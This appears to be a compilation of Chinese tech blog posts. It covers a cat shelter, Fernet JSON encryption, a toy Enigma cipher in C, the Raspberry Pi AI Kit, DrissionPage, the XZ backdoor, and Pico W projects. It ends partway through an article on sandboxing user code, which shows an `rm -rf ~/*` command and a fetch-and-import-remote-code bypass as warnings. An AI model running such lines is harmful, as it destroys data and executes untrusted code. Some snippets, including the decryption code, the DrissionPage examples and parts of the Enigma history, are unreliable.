江浙沪猫窝设计概要

最近弄了一个室外的猫窝,理解了猫科动物对于卧室的要求。

猫的特点:敏感、警惕性高、爱干净、不喜潮湿、不喜光线直射、怕吵、怕冻、喜欢纸盒。

江浙沪特点:多雨潮湿、夏热冬冷、蛇虫鼠蚁多。

对应猫窝要点:结构简单牢固、防雨防晒、排水良好、透气性好、隐蔽性好、安全性高。

于是,我找了个餐厅用的304不锈钢大桶作为基础。灵感来自集装箱做的房子。

第一个版本的猫窝,没有特别布置,只在里面加上硬纸板。结果位置较低,下雨后里面进水,猫弹射跑路。(失败)

第二个版本,将大桶下方垫上两砖的高度,门口加矮墙。结果只能防小雨,雨一大,还是进水。猫坚持了五分钟,雨一大马上弹射跑路。(失败)

第三个版本,在桶内加垫料,增加床(大纸盒)的高度,床下留出排水通道。同时增加纵深,免得离门口太近。纸盒底部用透明塑料带加一隔水层。最后外面再挂一块布做门帘,遮阳加挡雨。(成功)

终于,大雨倾盆也不怕了。外面暴雨,它在里面踏实躺着梳理毛发。

Json文件的加解密

HTTPS可以防止传输过程中数据被偷看,但无法阻止客户端本地的攻击。比如Json之类的文件,如果完全明文,可能会让一些黑客看到敏感信息。

是否可以对其进行一层简单的加密?

以Python为例子,用一个加密库就可以。

首先执行:pip install cryptography

然后开始编写如下代码。

from cryptography.fernet import Fernet
import json

# 生成密钥
key = Fernet.generate_key()
cipher_suite = Fernet(key)

# JSON 数据
data = {
    "name": "Alice",
    "age": 30,
    "city": "Wonderland"
}

# 将 JSON 数据转换为字符串
json_data = json.dumps(data)

# 加密 JSON 数据
encrypted_data = cipher_suite.encrypt(json_data.encode())

print("加密后的数据:", encrypted_data)
print("密钥:", key)

它会输出:

加密后的数据: b’gAAAAABmraTSlRWANyVFWRKm4CgjpoJEhyLID-ri64K3RP2yItbM-4POPid1dVh_1mWVItoSzZy-bPC_pObCCDUJ-ktuxWbi5zAcSn8VDrTiYiyqwXWvygLcBHmwToapDEDoqA6RjHQs_WeOCKAZqPnge5Q-J4xNpw==’
密钥: b’MvHuTCwAj3SNz93MZtI_1Ww_tHn9XVUFxyARGyGLTxQ=’

要解密的时候怎么办呢?

from cryptography.fernet import Fernet
import json
daa = b'gAAAAABmraTSlRWANyVFWRKm4CgjpoJEhyLID-ri64K3RP2yItbM-4POPid1dVh_1mWVItoSzZy-bPC_pObCCDUJ-ktuxWbi5zAcSn8VDrTiYiyqwXWvygLcBHmwToapDEDoqA6RjHQs_WeOCKAZqPnge5Q-J4xNpw=='
key = b'MvHuTCwAj3SNz93MZtI_1Ww_tHn9XVUFxyARGyGLTxQ='
decrypted_data = cipher_suite.decrypt(daa).decode()
json_data = json.loads(decrypted_data)
print(json_data)

它会输出:
{‘name’: ‘Alice’, ‘age’: 30, ‘city’: ‘Wonderland’}

以上代码使用了 Fernet 加密算法,这是对称加密的一种实现。Fernet 是一种基于 AES(高级加密标准) 的加密方案,具体来说,它使用 AES-128 在 CBC(密码分组链接)模式 下进行加密,并结合 PKCS7 填充 和 HMAC(基于哈希的消息认证码) 来确保数据的完整性和保密性。

“紫密”的前辈Enigma是怎么工作的

在密码学史中,恩尼格玛密码机(Enigma)是一种具有影响力的加密与解密文件密码机。该密码机采用了一系列相似的转子机械加解密机制,为对称加密算法的流加密奠定了基础。

恩尼格玛密码机外观看起来是一个装满了复杂而精致元件的盒子。然而,当我们打开它时,可以将其分解为相对简单的几个部分。最核心的部分包括键盘、显示器和三个转子。键盘用于输入明文,显示器则用于显示加密后的密文。三个转子负责将明文转换为密文的过程。

在恩尼格玛密码机中,当按下键盘上的某个键时,与该字母对应的密文会在显示器上亮起。这是因为转子内部集成了6条线路(在实物中是26条),可以将键盘的信号对应到显示器不同的小灯上去。例如,如果按下字母’a’键,灯’B’就会亮起,这意味着字母’a’被加密成了字母’B’。

为了提高加密的复杂性,恩尼格玛密码机还采用了三个转子的旋转机制。每个转子都可以独立旋转,并具有26个不同的位置。当输入一个字母时,转子会旋转一定的角度,使得相同的字母在加密时对应不同的密文。这种机制增加了破译的难度,使得恩尼格玛密码机在二战期间成为了一种难以破解的加密工具。

此外,为了使消息更难以破译,恩尼格玛密码机还采用了空格和标点符号的省略机制。这意味着在加密过程中,空格和标点符号不会被包括在内,从而使得密文更难以被解读。

总体而言,恩尼格玛密码机的工作原理是通过键盘输入明文,经过三个转子的转换和加密算法的处理,最终在显示器上显示密文。这种加密方式具有很高的复杂性和难以破解的特点,因此在密码学史上具有重要的地位。

然而,尽管恩尼格玛密码机在二战期间被广泛使用并被认为是安全的加密工具,但在二战末期,英国的密码学家通过不懈的努力成功地破解了恩尼格玛密码机。这一事件成为了密码学史上的一个重要里程碑,也为我们提供了一个宝贵的教训:随着技术的发展和进步,没有任何一种加密方式是绝对安全的。

下面用C语言来实现这个加密过程,代码比较简单,仅供参考。可自己完善。

先来一段明文:Send troops to Poland today(今日出兵波兰),中间空格要去掉。

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

#define MAX_CHARS 26

// 交换两个字符
void swap(char *a, char *b) {
    char temp = *a;
    *a = *b;
    *b = temp;
}

// 随机打乱字符数组
void shuffle(char *arr, int n) {
    for (int i = n - 1; i > 0; i--) {
        int j = rand() % (i + 1);
        swap(&arr[i], &arr[j]);
    }
}

int main() {
    // 生成字母表
    char a[MAX_CHARS];
    for (int i = 0; i < MAX_CHARS; i++) {
        a[i] = 'a' + i;
    }

    // 复制并打乱字母表
    char b[MAX_CHARS];
    memcpy(b, a, MAX_CHARS);
    shuffle(b, MAX_CHARS);

    // 建立对应密码表 (这里使用数组代替字典,下标作为索引)
    char dict[MAX_CHARS][2];
    for (int i = 0; i < MAX_CHARS; i++) {
        dict[i][0] = a[i];
        dict[i][1] = b[i];
    }

    // 待加密字符串
    char word[] = "sendtroopstopolandtoday";
    char encrypted[MAX_CHARS];

    printf("加密前: %s\n", word);

    // 加密
    int j;
    for (int i = 0; i < strlen(word); i++) {
        for (j = 0; j < MAX_CHARS; j++) {
            if (word[i] == dict[j][0]) {
                encrypted[i] = dict[j][1];
                break;
            }
        }
    }
    encrypted[strlen(word)] = '\0';

    printf("加密后: %s\n", encrypted);

    return 0;
}

结果是:

加密前: sendtroopstopolandtoday
加密后: dgncsuffjdsfjfylncsfclr

先别高兴太早,这只是单张表,很容易被破解。

为了提升破解者的难度,下面用两张表来混合加密。

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

#define MAX_CHARS 26

// 交换两个字符
void swap(char *a, char *b) {
    char temp = *a;
    *a = *b;
    *b = temp;
}

// 随机打乱字符数组
void shuffle(char *arr, int n) {
    for (int i = n - 1; i > 0; i--) {
        int j = rand() % (i + 1);
        swap(&arr[i], &arr[j]);
    }
}

int main() {
    // 初始化随机数种子
    srand(time(NULL));

    // 生成字母表
    char a[MAX_CHARS];
    for (int i = 0; i < MAX_CHARS; i++) {
        a[i] = 'a' + i;
    }

    // 复制并打乱字母表两次
    char b[MAX_CHARS], c[MAX_CHARS];
    memcpy(b, a, MAX_CHARS);
    memcpy(c, a, MAX_CHARS);
    shuffle(b, MAX_CHARS);
    shuffle(c, MAX_CHARS);

    // 建立对应密码表 (使用二维数组表示)
    char dict1[MAX_CHARS][2], dict2[MAX_CHARS][2];
    for (int i = 0; i < MAX_CHARS; i++) {
        dict1[i][0] = a[i];
        dict1[i][1] = b[i];
        dict2[i][0] = a[i];
        dict2[i][1] = c[i];
    }

    // 待加密字符串
    char word[] = "sendtroopstopolandtoday";
    char encrypted[100];  // 确保足够大

    printf("加密前: %s\n", word);

    // 加密
    int j;
    for (int i = 0; i < strlen(word); i++) {
        for (j = 0; j < MAX_CHARS; j++) {
            if (word[i] == dict1[j][0]) {
                encrypted[i] = i % 2 == 0 ? dict1[j][1] : dict2[j][1];
                break;
            }
        }
    }
    encrypted[strlen(word)] = '\0';

    printf("加密后: %s\n", encrypted);

    return 0;
}

结果是:

加密前: sendtroopstopolandtoday
加密后: yazkownmfuomfmiqzkomhqx

双表混合法,即第一个字符是使用第一个映射表加密,第二个字符使用第二张映射表来进行加密,这可以使加密的安全度提高很多,也比较接近Enigma机的工作原理。

下面来讲明文的还原方式。

根据前面获得的两张映射表,将它们全部反转。

第一张表:

{‘a’: ‘s’, ‘b’: ‘t’, ‘c’: ‘r’, ‘d’: ‘h’, ‘e’: ‘b’, ‘f’: ‘w’, ‘g’: ‘q’, ‘h’: ‘j’, ‘i’: ‘p’, ‘j’: ‘e’, ‘k’: ‘v’, ‘l’: ‘i’, ‘m’: ‘g’, ‘n’: ‘z’, ‘o’: ‘n’, ‘p’: ‘f’, ‘q’: ‘m’, ‘r’: ‘u’, ‘s’: ‘y’, ‘t’: ‘o’, ‘u’: ‘d’, ‘v’: ‘c’, ‘w’: ‘l’, ‘x’: ‘a’, ‘y’: ‘x’, ‘z’: ‘k’}

第二张表:

{‘a’: ‘q’, ‘b’: ‘l’, ‘c’: ‘g’, ‘d’: ‘k’, ‘e’: ‘a’, ‘f’: ‘v’, ‘g’: ‘j’, ‘h’: ‘y’, ‘i’: ‘p’, ‘j’: ‘z’, ‘k’: ‘x’, ‘l’: ‘n’, ‘m’: ‘c’, ‘n’: ‘d’, ‘o’: ‘m’, ‘p’: ‘t’, ‘q’: ‘s’, ‘r’: ‘w’, ‘s’: ‘u’, ‘t’: ‘h’, ‘u’: ‘o’, ‘v’: ‘f’, ‘w’: ‘b’, ‘x’: ‘e’, ‘y’: ‘r’, ‘z’: ‘i’}

反转第一张表:

{‘s’: ‘a’, ‘t’: ‘b’, ‘r’: ‘c’, ‘h’: ‘d’, ‘b’: ‘e’, ‘w’: ‘f’, ‘q’: ‘g’, ‘j’: ‘h’, ‘p’: ‘i’, ‘e’: ‘j’, ‘v’: ‘k’, ‘i’: ‘l’, ‘g’: ‘m’, ‘z’: ‘n’, ‘n’: ‘o’, ‘f’: ‘p’, ‘m’: ‘q’, ‘u’: ‘r’, ‘y’: ‘s’, ‘o’: ‘t’, ‘d’: ‘u’, ‘c’: ‘v’, ‘l’: ‘w’, ‘a’: ‘x’, ‘x’: ‘y’, ‘k’: ‘z’}

反转第二张表:

{‘q’: ‘a’, ‘l’: ‘b’, ‘g’: ‘c’, ‘k’: ‘d’, ‘a’: ‘e’, ‘v’: ‘f’, ‘j’: ‘g’, ‘y’: ‘h’, ‘p’: ‘i’, ‘z’: ‘j’, ‘x’: ‘k’, ‘n’: ‘l’, ‘c’: ‘m’, ‘d’: ‘n’, ‘m’: ‘o’, ‘t’: ‘p’, ‘s’: ‘q’, ‘w’: ‘r’, ‘u’: ‘s’, ‘h’: ‘t’, ‘o’: ‘u’, ‘f’: ‘v’, ‘b’: ‘w’, ‘e’: ‘x’, ‘r’: ‘y’, ‘i’: ‘z’}

然后把密文填进去,就可以出来明文了。

这里还是用代码来实现:

#include <stdio.h>
#include <string.h>

int main() {
    char mm[] = "yazkownmfuomfmiqzkomhqx";
    char dict3[26][2] = {
        {'s', 'a'}, {'t', 'b'}, {'r', 'c'}, {'h', 'd'}, {'b', 'e'}, {'w', 'f'}, {'q', 'g'}, {'j', 'h'}, {'p', 'i'}, {'e', 'j'},
        {'v', 'k'}, {'i', 'l'}, {'g', 'm'}, {'z', 'n'}, {'n', 'o'}, {'f', 'p'}, {'m', 'q'}, {'u', 'r'}, {'y', 's'}, {'o', 't'},
        {'d', 'u'}, {'c', 'v'}, {'l', 'w'}, {'a', 'x'}, {'x', 'y'}, {'k', 'z'}
    };
    char dict4[26][2] = {
        {'q', 'a'}, {'l', 'b'}, {'g', 'c'}, {'k', 'd'}, {'a', 'e'}, {'v', 'f'}, {'j', 'g'}, {'y', 'h'}, {'p', 'i'}, {'z', 'j'},
        {'x', 'k'}, {'n', 'l'}, {'c', 'm'}, {'d', 'n'}, {'m', 'o'}, {'t', 'p'}, {'s', 'q'}, {'w', 'r'}, {'u', 's'}, {'h', 't'},
        {'o', 'u'}, {'f', 'v'}, {'b', 'w'}, {'e', 'x'}, {'r', 'y'}, {'i', 'z'}
    };

    char word[strlen(mm) + 1];
    word[strlen(mm)] = '\0';

    for (int i = 0; i < strlen(mm); i++) {
        if (i % 2 == 0) {
            for (int j = 0; j < 26; j++) {
                if (mm[i] == dict3[j][0]) {
                    word[i] = dict3[j][1];
                    break;
                }
            }
        } else {
            for (int j = 0; j < 26; j++) {
                if (mm[i] == dict4[j][0]) {
                    word[i] = dict4[j][1];
                    break;
                }
            }
        }
    }

    printf("明文是:%s\n", word);

    return 0;
}

明文是:sendtroopstopolandtoday

实际的Enigma机工作起来要比这个复杂很多,但基本原理类似。有兴趣的朋友可以深入研究。

树莓派AI 套件上市,带NPU售价 70 美元

如果你曾经想在 Raspberry Pi 5 上尝试神经网络、人工智能和机器学习的世界,树莓派这次推出了官方AI 套件。该 AI 套件是与 Hailo 合作开发的,它可将本地高效的推理能力,集成到各种应用程序中。现已上架 Raspberry Pi 的经销商网络,价格 70 美元。

Raspberry Pi AI 套件拆解

Raspberry Pi AI 套件包括我们的 M.2 HAT+ 和 Hailo-8L AI 加速器模块。AI 套件安装在 Raspberry Pi 5 上,可让你快速构建复杂的 AI 视觉应用程序,实时运行。具有低延迟和低功耗要求。用于对象检测、语义和实例分割、姿态估计和面部识别(仅举几例)的先进神经网络完全在 Hailo-8L 协处理器上运行,使 Raspberry Pi 5 CPU 可以自由地执行其它任务。

Raspberry Pi AI 套件的主要功能包括:

  • 每秒 13 万亿次运算 (TOPS) 的推理性能
  • 以 8Gbps 运行的单通道 PCIe 3.0 连接
  • 与 Raspberry Pi 图像软件子系统完全集成
  • 与第一方或第三方相机的兼容性
  • 加速器硬件的高效调度:在单个摄像头上运行多个神经网络,或者同时在两个摄像头上运行单个 / 多个神经网络

搭载AI Kit的树莓派5

Hailo创建了一个庞大的模型库,用户可以在这里找到各种各样的预训练神经网络模型,可以在AI Kit上部署和优化。

地址:

https://github.com/hailo-ai/hailo_model_zoo/tree/master/docs/public_models/HAILO8L

软件方面

最新版本的 Raspberry Pi OS 会自动检测 Hailo 模块,因此操作系统和利用该模块的应用程序可以立即使用它。rpicam-apps 套件现在有一个后处理模板,用于在摄像头管道中集成实时运行的神经网络推理。

“通过使用预安装的 Hailo Tappas 后处理库,仅几百行 C++ 代码就能创建基于 AI 的高级应用程序。类似级别的集成到我们的 Picamera2 框架中很快就会实现。”

除了可以在 rpicam-apps 或 Picamera2 中使用 Hailo-8L 协处理器外。Raspberry Pi AI Kit 中还打包了集成在 GStreamer 框架和本地 Python 或 C/C++ 应用程序中的 API。包括非摄像机用例,例如在预先录制的视频文件上运行推理。

近看Hailo模块

软件安装步骤非常简单。通过apt安装几个软件包,重新启动,你就可以在几分钟内尝试我们的一些AI演示。完整的说明可以在我们的入门指南中找到。下面是我们的一些演示的预览,你可以通过rpicam-apps运行。

详细步骤:

https://www.raspberrypi.com/documentation/accessories/ai-kit.html#getting-started

有了树莓派AI Kit,你不但可以在picam-apps或Picamera2中使用Hailo-8L协处理器。树莓派还打包了一个集成在GStreamer框架和本地Python或C/C++应用程序中的API。这包括非相机用例,例如在预先录制的视频文件上运行推理。

DrissionPage,不用给爬虫装驱动了

DrissionPage是一个基于Python的网页自动化库,它结合了selenium和requests的优点,可以轻松实现网页的自动化操作。DrissionPage的主要特点是其简洁的API设计,使得用户可以很容易地编写代码来实现网页自动化。

特点

  • 简洁的API设计:DrissionPage的API设计非常简洁,用户无需深入了解Selenium的底层实现,也能进行复杂的网页交互。
  • 结合了selenium和requests的优点:既可以实现动态网页的自动化,也可以实现静态网页的自动化。
  • 灵活性:支持多种选择器,包括CSS选择器、XPath选择器等,适应不同的网页结构。
  • 强大的等待机制:内置智能等待,确保元素在操作前已经加载完成。
  • 支持多种浏览器:DrissionPage支持多种浏览器,包括Chrome、Firefox等。

 

​安装

安装DrissionPage非常简单,只需要通过pip安装即可:

pip install drissionpage
 

初始化

在使用DrissionPage之前,需要先进行初始化。可以使用以下代码进行初始化:

from DrissionPage import MixPage
page = MixPage(‘chrome’)
 

这里我们使用Chrome浏览器进行初始化,你也可以使用其他浏览器,例如Firefox。

打开网页

初始化之后,可以使用open_url方法来打开一个网页。

例如,我们可以使用以下代码来打开百度首页:

page.open_url(‘https://www.baidu.com’)
 

查找元素

在打开网页之后,我们通常需要查找网页中的元素。DrissionPage提供了多种方法来查找元素,例如ele、eles、css、xpath等。例如,我们可以使用以下代码来查找百度首页的搜索框:

search_box = page.ele(‘#kw’)
 

这里我们使用ele方法来查找id为kw的元素。

操作元素

在找到元素之后,我们可以对元素进行各种操作,例如输入文本、点击等。例如,我们可以使用以下代码来在百度搜索框中输入文本并搜索:

search_box.send_keys(‘Python’)
page.ele(‘#su’).click()
 

这里我们使用send_keys方法来输入文本,使用click方法来点击搜索按钮。

获取元素信息

在找到元素之后,我们还可以获取元素的各种信息,例如文本、属性等。例如,我们可以使用以下代码来获取百度搜索结果的第一条结果的标题:

title = page.ele(‘.t a’).text
print(title)
 

此外,DrissionPage支持复杂的网页交互,例如填写表单、点击按钮等:

# 填写表单
browser.find_element_by_name(‘username’).send_keys(‘my_username’)
browser.find_element_by_name(‘password’).send_keys(‘my_password’)

# 点击登录按钮
browser.find_element_by_xpath(‘//button[@type=”submit”]’).click()
 

其他示例

DrissionPage可以用于各种网页操作,下面是一些常见的使用示例:

# 处理下拉菜单
browser.find_element_by_id(‘dropdown’).click()
browser.find_element_by_xpath(‘//option[@value=”option-value”]’).click()

# 滚动到页面底部
browser.scroll_to_bottom()

# 获取当前页面的URL
current_url = browser.get_current_url()

# 下拉刷新
page.execute_script(‘window.scrollTo(0, document.body.scrollHeight)’)

# 上传文件
upload_button = page.ele(‘#upload’)
upload_button.send_keys(‘path/to/your/file’)

 

工作原理

DrissionPage的工作原理非常简单。它首先使用requests库来请求网页,然后使用selenium库来加载网页。在加载网页之后,就可以使用selenium的方法来查找元素、操作元素等。

高级用法

DrissionPage还支持多窗口和多标签页操作、自定义等待、处理JavaScript弹窗等高级功能:

切换到新的标签页

browser.open_new_tab()

 

自定义等待

from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By
wait = WebDriverWait(page.driver, 10)
element = wait.until(EC.element_to_be_clickable((By.ID, ‘some_id’)))
 

这里我们使用selenium的WebDriverWait和expected_conditions来实现自定义等待。

处理JavaScript弹窗

page.driver.switch_to.alert.accept()
 

这里我们使用switch_to.alert.accept()来处理JavaScript弹窗。

总结

DrissionPage是一个功能强大且易于使用的Python库,它简化了网页自动化操作,使得即使是编程新手也能快速上手。通过本文的介绍,相信你已经对DrissionPage有了基本的了解,并且能够开始使用它来完成你的网络爬虫项目。

附录

  • DrissionPage的相关文档:https://gitee.com/g1879/DrissionPage
  • selenium官方文档:https://www.selenium.dev/documentation/en/
  • requests官方文档:https://requests.readthedocs.io/en/m

心机黑客潜伏两年后向XZ添加后门 多个Linux发行版中招影响服务器安全

最近Linux 社区最关注的事情就是 xz-utils (以前被称为 LZMA Utils) 项目被植入后门的事情,xz 是被 Linux 发行版广泛使用的压缩格式之一,xz-utils 是一个开源项目,2022 年起有个名为 Jia Tan 的账号开始向该项目贡献代码,然后逐步接手该项目成为项目的主要贡献者。

日前该项目被发现存在后门,这些恶意代码旨在允许未经授权的访问,具体来说影响 xz-utils 5.6.0 和 5.6.1 版中,而且这些受影响的版本已经被多个 Linux 发行版合并。

简单来说这是一起供应链投毒事件,攻击者通过上游开源项目投毒,最终随着项目集成影响 Linux 发行版,包括 Fedora Linux 40/41 等操作系统已经确认受该问题影响。

恶意代码的目的:

RedHat 经过分析后认为,此次黑客添加的恶意代码会通过 systemd 干扰 sshd 的身份验证,SSH 是远程连接系统的常见协议,而 sshd 是允许访问的服务。

在适当的情况下,这种干扰可能会让黑客破坏 sshd 的身份验证并获得整个系统的远程未经授权的访问 (无需 SSH 密码或密钥)。

RedHat 确认 Fedora Linux 40/41、Fedora Rawhide 受该问题影响,RHEL 不受影响,其他 Linux 发行版应该也受影响,具体用户可以在开发商网站获取信息。

建议立即停止使用受影响版本:

如果你使用的 Linux 发行版受上述后门程序影响,RedHat 的建议是无论个人还是商用目的,都应该立即停止使用。

之后请查询 Linux 发行版的开发商获取安全建议,包括检查和删除后门程序、回滚或更新 xz-utils 等。

孤独的开源贡献者问题:

在这里还需要额外讨论一个开源项目的问题,xz-utils 尽管被全世界的 Linux 发行版、压缩软件广泛使用,但在之前只有一名活跃的贡献者在维护这个项目。

这个孤独的贡献者可能因为精力不够或者其他原因,在遇到一名新的贡献者时,随着时间的推移,在获取信任后,这名新贡献者逐渐获得了项目的更多控制权。

实际上这名黑客应该也是精心挑选的项目,知道这种情况下可能更容易获取控制权,于是从 2022 年开始就贡献代码,直到成为主要贡献者后,再实施自己的后门行动。

未来这类针对开源项目的供应链攻击应该还会显著增加,这对整个开源社区来说应该都是头疼的问题。

智能门铃助理 — ESPBell

ESPBell是一个基于ESP12F模块的智能门铃项目。它使用ESPBell-Lite开发板,该开发板包含ESP8266芯片、摄像头、扬声器和麦克风。https://mp.weixin.qq.com/cgi-bin/readtemplate?t=tmpl/video_tmpl&vid=wxv_3251263471233613825

功能包括:

  • 实时视频传输
  • 双向语音通话
  • 人体检测
  • 触摸按钮
  • 远程控制

使用方法如下:

  1. 下载项目代码并安装依赖项。
  2. 将ESPBell-LITE开发板连接到电脑。
  3. 编译并烧录代码到开发板。
  4. 按照说明配置 Wi-Fi 连接。

优势包括:

  • 使用ESP8266芯片,具有较高的性能和低功耗。
  • 集成了摄像头、扬声器和麦克风,可实现实时视频传输、双向语音通话和人体检测等功能。
  • 支持触摸按钮和远程控制,使用方便。

不足之处包括:

  • 开发板的价格相对较高。
  • 视频传输的质量受网络环境的影响。

总体而言,该项目是一个功能强大且易于使用的智能门铃项目。它适合家庭、办公室和其他场所使用。

以下是该项目的部分亮点:

  • 使用ESP8266芯片,具有较高的性能和低功耗,可满足实时视频传输、双向语音通话和人体检测等功能的需求。
  • 集成了摄像头、扬声器和麦克风,可实现丰富的功能。
  • 支持触摸按钮和远程控制,使用方便。

该项目具有良好的开发潜力,可以进一步扩展功能,例如:

  • 添加更多传感器,例如 PIR 传感器、门磁传感器等,实现更智能的功能。
  • 支持云端存储,实现视频录像和回放。
  • 支持 AI 识别,实现人脸识别、车辆识别等功能。

源代码:

https://github.com/IoToutpost/ESPBell-LITE
https://file.daihuo.qq.com/mp_cps_goods_card/v57/index.html

用树莓派Pico W创建自己的Slack机器人

原作:Sandeep Mistry 

编译:IoT前哨站

Slack是一款在线协作软件,可以让你与团队成员进行聊天、文件传送、语音/视频通话等功能。Slack还可以整合多种工具和服务,如电子邮件、Google Drives、Twitter、Trello等,以提高工作效率和自动化任务。Slack是世界各地公司和个人的首选平台,拥有超过20万付费客户和77个财富100强企业的使用者。它有App方便大家在手机或平板电脑上使用。

这次要实现的树莓派Pico W远程控制机器人,简单来说,就是我们在手机上用Slack发消息,指挥Pico W帮我们干活。

Slack 的 chat.postMessage API 可将消息从开发板发送到 Slack 频道。Slack 为应用和机器人提供了一个事件 API,用于响应 Slack 上的活动。由于开发板不能从公共互联网直接访问,因此无法使用公共 HTTP webhook。我们必须使用Slack 的Socket Mode。Socket Mode使应用和机器人能够使用动态的WebSocket 接收事件。动态套接字连接的URL可以通过Slack的apps.connections.open API获取。

Pico W与Slack API 接收事件和发送消息的通信机制:

要完成上述操作,你必须先有Slack令牌。

配置 Slack

在 Web 浏览器中,访问 https://api.slack.com/apps 并使用您的 Slack 凭据登录。单击“创建新应用”按钮。

单击“从头开始”选项。

输入应用程序的名称(例如“Pico W”),为应用程序选择一个工作区,然后单击“创建应用程序”按钮。

单击左侧的“Socket Mode”部分,然后单击切换到“启用Socket Mode”。


输入应用级令牌的“Token Name”,例如“Pico W app”,然后单击“生成”按钮。

生成并显示应用级令牌,复制该值并保存以备将来使用,然后单击“完成”按钮。

单击左侧的“OAuth 和权限”部分,向下滚动到“Scopes”部分,然后单击“添加 OAuth 范围”按钮。

添加“app mention:read”权限。

添加“chat:write”权限。

单击左侧的“事件订阅”部分,然后单击“启用事件”开关。

展开“订阅bot事件”部分并单击“添加bot用户事件”按钮。

选择“app_mention”。

点击右下角的“保存更改”按钮。

点击左侧的“基本信息”部分,然后点击“请求安装”按钮。

填写“简短描述”,选择“背景颜色”,点击“保存更改”按钮

工作区管理员可以批准申请。然后转到“基本信息”部分,单击“安装到工作区”按钮。

安装完成后,单击左侧的“OAuth & Permissions”部分,滚动到“工作区的OAuth Token”部分,然后复制“Bot User OAuth Token”值并保存以供将来参考。

现在你有了一个应用程序级别的令牌值和一个Slack应用程序的Bot用户OAuth令牌值,可以在Raspberry Pi Pico W板上使用。

基于 MicroPython 的 Slack 机器人

MicroPython 为许多基于 Arm Cortex-M 的微控制器提供 Python 3 实现,包括 Raspberry Pi Pico W 板上的 Raspberry Pi RP2040。

Thonny IDE 将用于安装 MicroPython 并将代码上传到 Raspberry Pico W 板。从 Thonny 主页下载适用于您的计算机的操作系统 (OS) 专用版本的 Thonny。在撰写本指南时,Thonny 4.1.2 是最新版本。

用Thonny刷好MicroPython以后,将 GitHub 中的代码下载到计算机上的文件夹。

相关代码:

https://github.com/IoToutpost/example-of-a-slackbot-for-pico-w

打开 Raspberry Pi Pico W 板上的 config.py 文件,填写 Wi-Fi 网络的 SSID 和密码,以及之前配置的 Slack 应用和机器人令牌。

打开树莓派Pi Pico W板上的 main.py 文件,然后按绿色的播放按钮运行应用程序。如果一切配置正确,开发板现在将连接到您的 Wi-Fi 网络,然后连接到 Slack。

基于 C 语言的 Slack 机器人

对于 C 版本,以下库将与 pico-sdk 一起使用:

  • FreeRTOS 内核 – 为网络堆栈提供实时操作系统 (RTOS)
  • lwIP – 用于 TCP/IP 通信
  • Mbed TLS – 用于 TLS 通信
  • coreHTTP – 用于 HTTP 客户端
  • cJSON – 用于解析和序列化 JSON 数据

使用 Raspberry Pi 的 Pico SDK 和所需的工具链设置您的计算机。有关更多信息,请参阅 Raspberry Pi Pico 入门指南。

在终端窗口中,设置 PICO_SDK 环境变量:

export PICO_SDK_PATH=/path/to/pico-sdk

将目录更改为下载示例代码的位置,然后将目录更改为文件夹:pico-sdk

cd path/to/example-of-a-slackbot-for-pico-w

cd pico-sdk

创建一个构建目录,并将目录更改为该目录:

mkdir build

cd build

使用你的 Wi-Fi SSID 和密码以及 Slack 应用和机器人令牌运行,然后运行以编译应用程序:cmakemake

cmake .. -DPICO_BOARD=pico_w -DWIFI_SSID="<WIFI SSID>" -DWIFI_PASSWORD="<Wi-Fi Password" -DSLACK_APP_TOKEN="<Slack App Token>" -DSLACK_BOT_TOKEN="<Slack Bot Token>"

make

按住 Pico 板上的 BOOTSEL 按钮,同时使用 USB 电缆将板插入计算机。

将文件复制到挂载的Raspberry Pi Pico启动ROM磁盘:picow_slack_bot.uf2

按住 Pico 板上的 BOOTSEL 按钮,同时使用 USB 电缆将板插入计算机。

将文件复制到挂载的Raspberry Pi Pico启动ROM磁盘:picow_slack_bot.uf2

cp -a picow_slack_bot.uf2 /Volumes/RPI-RP2/.

使用串行监视器应用程序(如屏幕)查看主板的 USB 串行输出,将 /dev/cu.usbmodem00000000000001 替换为主板的路径:

screen /dev/cu.usbmodem0000000000001

如果一切配置正确,开发板现在将连接到您的 Wi-Fi 网络,然后连接到 Slack。

测试应用程序

在计算机上打开 Slack,并创建一个新的测试频道。在信息输入窗口中输入,然后点按绿色按钮或按回车键发送。@<name of Slack app> LED on

在 Slack 中向 Pico W 发送第一条消息

由于 Pico W 不在频道中,系统将提示您添加它们。点击“邀请他们”按钮。

邀请Raspberry Pi Pico W加入频道

被邀请后,开发板将点亮 LED, 然后回复消息告知状态。您也可以尝试发送消息以关闭 LED。@<name of Slack app> LED off

Raspberry Pi Pico W 在 Slack 中收到指令并回复

结论

本指南介绍了通过Raspberry Pi Pico W上运行MicroPython和C应用程序,来与Slack API发送和接收消息。

示例应用程序代码可以接收并处理消息文本,以控制板载 LED,然后将 LED 的当前状态告知用户。

你可以在自己的Raspberry Pi Pico W上尝试一下,然后在示例代码的基础上构建更多功能,从而将 Slack 扩展到物理世界。

用树莓派Pico W做蓝牙遥控车

不然树莓派Pico W刚放出来那会,官方只对Wi-Fi做了支持,并未启用蓝牙功能。但这个小片片上有英飞凌的CYW43439无线模块,蓝牙、Wi-Fi都支持的。

经过漫长的等待,2023年6月,官方终于腾出手让这小片片功能全部释放。

你现在不需要再外接HC-05等其它模块,只需要原来的一片Pico W,就可以通过C语言或MicroPython来启用蓝牙了。

蓝牙在嵌入式领域有多重要,多好使,估计物联网和应用电子的从业者能跟你讲半天。

这次就让Kevin McAleer这位树莓派Pico W老粉,用MicroPython编程来给大家实践一下。

从蓝牙基础,一直跟你讲到蓝牙控制小车。深入浅出,精打实招。

https://mp.weixin.qq.com/s/EZic0V6Uba93gPiqRdGTBg

相关代码:

https://github.com/IoToutpost/pico_ble_remote

如何安全运行别人上传的Python代码?

作者:kingname

写后端的同学,有时候需要在网站上实现一个功能,让用户上传或者编写自己的Python代码。后端再运行这些代码。

涉及到用户自己上传代码,我们第一个想到的问题,就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行,在不做任何安全过滤的情况下,就会导致服务器的Home文件夹被清空。

import os
os.system('rm -rf ~/*')

有人想的比较简单,直接判断用户的代码里面有没有os.system、exec、subprocess……这些危险关键词不就可以了吗?

    这种想法乍看起来没有问题,但细想下,就会发现非常天真。如果用户的代码像下面这样写,你又要如何应对?

    import requests
    code = requests.get('https://www.kingname.info/dangerous_code').text
    with open('dangerous_code.py', 'w') as f:
    f.write(code)
    dangerous_module = import('dangerous_code')
    danderous_module.delete_all()

    其中https://www.kingname.info/dangerous_code对应的代码如下:

    import os
    def delete_all():
